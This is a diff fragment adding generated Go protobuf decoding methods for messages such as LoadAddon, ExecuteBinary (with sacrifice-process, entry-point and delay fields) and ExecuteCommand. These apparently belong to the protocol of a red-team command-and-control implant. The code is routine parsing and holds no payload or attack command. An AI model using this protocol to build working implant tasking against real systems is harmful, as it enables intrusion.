protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BinaryResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BinaryResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BinaryResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + m.Status = 0 + m.Status, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Err", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Err = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Modules) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Modules: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Modules: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Modules", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Modules = append(m.Modules, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addons) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addons: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addons: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Depend = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadModule) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadModule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadModule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Bundle = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadAddon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Depend = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteAddon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addon", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Addon = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecuteBinary", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ExecuteBinary == nil { + m.ExecuteBinary = &ExecuteBinary{} + } + if err := m.ExecuteBinary.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteBinary) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteBinary: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteBinary: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Param", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Param == nil { + m.Param = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Param[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ProcessName = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field EntryPoint", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.EntryPoint = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + m.Arch = 0 + m.Arch, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 13: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 14: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Context", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Context = stringValue + iNdEx = postIndex + case 15: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Delay", wireType) + } + m.Delay = 0 + m.Delay, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteCommand) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteCommand: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteCommand: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Command", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Command = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 